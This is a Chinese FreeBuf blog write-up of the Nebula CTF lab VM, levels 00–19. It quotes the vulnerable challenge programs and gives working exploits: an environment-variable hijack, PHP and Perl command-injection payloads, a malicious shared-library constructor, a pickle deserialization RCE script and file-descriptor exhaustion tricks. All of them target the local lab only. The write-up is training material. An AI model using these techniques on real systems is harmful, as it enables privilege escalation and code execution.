freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTF靶场系列-Exploit-Exercises: Nebula (v5)
2019-03-30 22:26:50
所属地 广东省

下载地址

https://download.vulnhub.com/exploitexercises/exploit-exercises-nebula-5.iso

实战演练

找到IP是192.168.199.117

image.png

level00

详情

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

使用用户名和密码为level00登录ssh

image.png按照详情,要找到SUID的程序

image.png执行这个文件

image.png
level01

详情

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

使用用户名和密码为level01登录ssh

image.png找到文件的位置

image.png调试运行文件

image.png看到env echo这条命令

image.png

image.png添加环境变量

image.png

修改echo为getflag
image.png成功利用环境变量执行了程序

image.png但是直接执行getflag是不行的

image.pnglevel02

详情

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

使用用户名和密码为level02登录ssh

看到运行结果就是调用环境变量USER

image.png所以修改环境变量USER

image.pnglevel03

详情

Check the home directory of flag03 and take note of the files there. There is a crontab that is called every couple of minutes.

使用用户名和密码为level03登录ssh

image.png

image.png
可能是由于权限问题

image.pnglevel04

使用用户名和密码为level04登录ssh
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)
程序代码
#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <sys/types.h>

#include <stdio.h>

#include <fcntl.h>

int main(int argc, char **argv, char **envp)

{

  char buf[1024];

  int fd, rc;

  if(argc == 1) {

      printf("%s [file to read]\n", argv[0]);

      exit(EXIT_FAILURE);

  }

  if(strstr(argv[1], "token") != NULL) {

      printf("You may not access '%s'\n", argv[1]);

      exit(EXIT_FAILURE);

  }

  fd = open(argv[1], O_RDONLY);

  if(fd == -1) {

      err(EXIT_FAILURE, "Unable to open %s", argv[1]);

  }

  rc = read(fd, buf, sizeof(buf));

  if(rc == -1) {

      err(EXIT_FAILURE, "Unable to read fd %d", fd);

  }

  write(1, buf, rc);

}


调试一下程序
image.png核心问题就是这个strstr函数
image.png我们来绕过它,获取到这个uuid就是它的密码
image.png

level05

使用用户名和密码为level05登录ssh
详情
Check the flag05 home directory. You are looking for weak directory permissions
进入到flag05的目录
image.png

使用证书登录
image.pngimage.png

level06

使用用户名和密码为level06登录ssh

详情

The flag06 account credentials came from a legacy unix system.
查看passwd文件,找到了一个hash密码

image.png用john爆破一下,找到密码是hello

image.png用这个密码登录一下

image.png

level07

使用用户名和密码为level07登录ssh

详情

The flag07 user was writing their very first perl program that allowed them to ping hosts to see if they were reachable from the web server.
进入flag07目录
image.png

命令执行漏洞

image.png在7007端口开启了http服务

image.pngvmware虚拟机的内存要设置1G以上,不然http服务不能启动

测试

image.png需要进行URL编码

image.png

level08

使用用户名和密码为level08登录ssh

详情

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.
进入到flag08目录查看
image.png将这个文件导出使用wireshark进行分析
image.pngimage.png选择第一个右键follow tcpstreamimage.png
...是代表什么,我用使用hex看看
image.png看到7f和0d
image.pngimage.pngimage.png所以它的密码就是backdoor退三格00Rm8退一格ate回车,就是backd00Rmate

image.png

level09

使用用户名和密码为level09登录ssh

详情

There’s a C setuid wrapper for some vulnerable PHP code…
进[email ${`getflag`}]入flag09目录查看

image.png

image.pngpayload

[email ${`getflag`}]

image.png

level10

使用用户名和密码为level10登录ssh

详情

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
程序代码
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}
进入到level10目录,看到X
image.pngimage.png找到了密码,不过我想研究另外一种
进入到flag10
image.png从程序代码可以看出,要先运行access(),才能运行open()
image.pngimage.png
使用ncat监听18211端口
image.pngflag10搞不了,暂且放下
image.png

level11

使用用户名和密码为level11登录ssh

详情

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
程序代码
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}
运行程序
image.png

分析代码时,有两个不同的分支导致process ()函数调用,最终导致system()函数调用。这为我们提供了两种不同的方法来利用这个程序。

第一个是Content-Length标头中指定的长度大于1024.为了利用这个易受攻击的路径,我们需要为程序提供一个有效的标头,指定内容长度大于或等于1024.我们将将长度固定为1024并分析我们需要在内容体中放置什么来执行我们的任意命令。

如果内容长度大于或等于1024,程序将打开随机文件描述符并将内容正文的内容复制到该文件。然后,将文件的内容读入在处理空间中分配的存储器段中。应用程序的最后一部分process()将解密内容主体并将解密的内容用作system()运行的命令。

我们需要做的就是加密我们想要运行的命令,后跟一个空字节,并用任何垃圾填充1024块的其余部分。

image.png暂且搞不了,下一个

level12

使用用户名和密码为level12登录ssh

详情

There is a backdoor process listening on port 50001.
看到一个基于lua的http服务

image.png漏洞出现在hash()函数上面

image.png

image.png

level13

使用用户名和密码为level13登录ssh

详情

There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.

程序代码

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>

#define FAKEUID 1000

int main(int argc, char **argv, char **envp)
{
  int c;
  char token[256];

  if(getuid() != FAKEUID) {
      printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
      printf("The system administrators will be notified of this violation\n");
      exit(EXIT_FAILURE);
  }

  // snip, sorry :)

  printf("your token is %s\n", token);

}

运行程序

image.png逆向这个程序

image.png

image.png可以看到在getuid这里出现判断

image.pngimage.pngimage.png

level14

使用用户名和密码为level14登录ssh

详情

This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it :)

运行程序,发现似乎从0开始,并随着每个字符递增。然后,每个字符的ASCII值按键的当前值递增。

image.pngexp

import sys

def decrypt(ciphertext):  
        count = 0
        result = []
        for c in ciphertext:
                result.append(chr((ord(c) - count)))
                count +=1
        print("Decrypting: " + ciphertext + " -> " + "".join(result))
        return("".join(result))

decrypt(sys.argv[1])  

image.pngimage.png

level15

使用用户名和密码为level15登录ssh

详情

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
调试程序
level15@nebula:~$ cd /home/flag15
level15@nebula:/home/flag15$ ls -al
total 12
drwxr-x--- 2 flag15 level15   80 2011-11-20 21:22 .
drwxr-xr-x 1 root   root     200 2012-08-27 07:18 ..
-rw-r--r-- 1 flag15 flag15   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag15 flag15  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag15 level15 7161 2011-11-20 21:22 flag15
-rw-r--r-- 1 flag15 flag15   675 2011-05-18 02:54 .profile
level15@nebula:/home/flag15$ ./flag15 
strace it!
level15@nebula:/home/flag15$ strace ./flag15 
execve("./flag15", ["./flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x8ff4000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77f0000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf810304) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb77e7000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xd3e000
mmap2(0xeb4000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xeb4000
mmap2(0xeb7000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xeb7000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77e6000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb77e68d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xeb4000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xd17000, 4096, PROT_READ)     = 0
munmap(0xb77e7000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb77ef000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?
level15@nebula:/home/flag15$ 

我发现这个程度大量读取libc.so.6这个库,但是进入目录后没有发现

image.png使用readelf查看程序

image.png新建一个库文件

image.pngimage.png创建两个文件/tmp/level15.c 和/tmp/version

#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init()
{
        int euid = geteuid();
        setresuid(euid, euid, euid);
        system("/bin/getflag");
}
GLIBC_2.0 {};
gcc -fPIC -g -c /tmp/level15.c -o /tmp/level15.o
gcc -shared -Wl,--version-script,/tmp/version,-Bstatic /tmp/level15.o -static-libgcc \
    -o /var/tmp/flag15/libc.so.6 

image.png

level16

使用用户名和密码为level16登录ssh

注:当1616端口没有开启的时候,重启一下虚拟机就行

详情

There is a perl script running on port 1616.
image.png这是一个命令执行漏洞
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

拼接一下url编码

%22%3C%2Fdev%2Fnull%3Bpwnvar%3D%2Ftmp%2Fpwn16%3B%24%7Bpwnvar%2C%2C%7D%3B%23


image.png

level17

使用用户名和密码为level17登录ssh

详情

There is a python script listening on port 10007 that contains a vulnerability.
image.pngimage.png

exp

#!/usr/bin/python

import os  
import pickle  
import socket

class Pandora(object):  
    def __reduce__(self):
        return (os.system,(('getflag > /tmp/flag17'),))

HOST = "127.0.0.1"  
PORT = 10007  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)  
s.connect((HOST,PORT))  
reply = s.recv(1024)  
print(HOST + ": " + reply)  
obj = Pandora()  
sobj = pickle.dumps(obj)  
print("Sending: " + str(obj))  
s.send(sobj)  
print("Awaiting reply from: " + HOST)  
reply = s.recv(1024)  
print(HOST + ": " + reply) 

image.png

level18

使用用户名和密码为level18登录ssh

详情

Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

程序代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

查看目录

image.png

启动时,程序会查找两个参数:
-d :启用日志记录到提供的日志文件

-v:以增加详细级别

然后程序启动并将详细级别写入调试文件,并将EUID权限设置为二进制文件。该程序当时开始接受输入:

  • 登录 :尝试登录给定的用户。在登录功能无法开启,这意味着,如果密码文件无法读取,那么它会在用户。我们可以尝试删除密码文件以强制fopen失败并返回NULL文件描述符,但我们无法删除该文件。使fopen函数调用的另一种方法是使它失败以耗尽文件描述符,以便不再分配给密码文件。这可以完成,因为登录功能永远不会关闭文件描述符。这是我们将探索的一种方式,让我们继续阅读该程序。

  • 注销:只需清除globals.loggedin标志,这对我们没用

  • shell:这看起来对我们非常有用,它执行一个新的/ bin / sh shell(注意绝对路径,所以我们不能伪造它)并使用相同的flag18参数作为shell参数。

  • closelog:如果使用-d选项调用flag18,它将关闭日志文件描述符并停止记录。这将很有用,但请继续阅读

  • site exec:调用notsupported函数,其中存在格式字符串漏洞(dprintf(what)).但如果我们试图利用它,我们得到:

后期会逆向回来
level18@nebula:/home/flag18$ ulimit -a  
core file size          (blocks, -c) 0
data seg size           (kbytes, -d) unlimited
scheduling priority             (-e) 0
file size               (blocks, -f) unlimited
pending signals                 (-i) 15980
max locked memory       (kbytes, -l) 64
max memory size         (kbytes, -m) unlimited
open files                      (-n) 1024
pipe size            (512 bytes, -p) 8
POSIX message queues     (bytes, -q) 819200
real-time priority              (-r) 0
stack size              (kbytes, -s) 8192
cpu time               (seconds, -t) unlimited
max user processes              (-u) 15980
virtual memory          (kbytes, -v) unlimited
file locks                      (-x) unlimited
level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log  
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 -v -d /tmp/log  
/home/flag18/flag18: -d: invalid option
Usage:	/home/flag18/flag18 [GNU long option] [option] ...
	/home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
	--debug
	--debugger
	--dump-po-strings
	--dump-strings
	--help
	--init-file
	--login
	--noediting
	--noprofile
	--norc
	--posix
	--protected
	--rcfile
	--restricted
	--verbose
	--version
Shell options:
	-irsD or -c command or -O shopt_option		(invocation only)
	-abefhkmnptuvxBCHP or -o option
level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 --rcfile -d /tmp/log 
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
level18@nebula:/home/flag18$ echo "getflag" > /tmp/Starting
level18@nebula:/home/flag18$ chmod +x /tmp/Starting
level18@nebula:/home/flag18$ export PATH=/tmp:$PATH  
level18@nebula:/home/flag18$ echo "`python -c 'print("login me\n"*1021 + "closelog\n" + "shell")'`" | /home/flag18/flag18 --rcfile -d /tmp/log 
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
You have successfully executed getflag on a target account
/tmp/log: line 2: syntax error near unexpected token `('
/tmp/log: line 2: `logged in successfully (without password file)'
level18@nebula:/home/flag18$ 
level19

使用用户名和密码为level19登录ssh

详情

There is a flaw in the below program in how it operates.

程序代码

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

运行程序

image.png

exp

#include<stdio.h>
#include<unistd.h>

int main(void) {

    pid_t pid = fork();

    if (pid == 0) {

        char *arg[] = { "/bin/sh" , "-c" , "getflag" , NULL};
        sleep(2); /* Give the fork 2 sec to orphan */
        execv("/home/flag19/flag19", arg);
        printf("Done fork\n");
        return 0;
    }

    printf("Done parent\n");
    return 0;
}


image.png

# CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者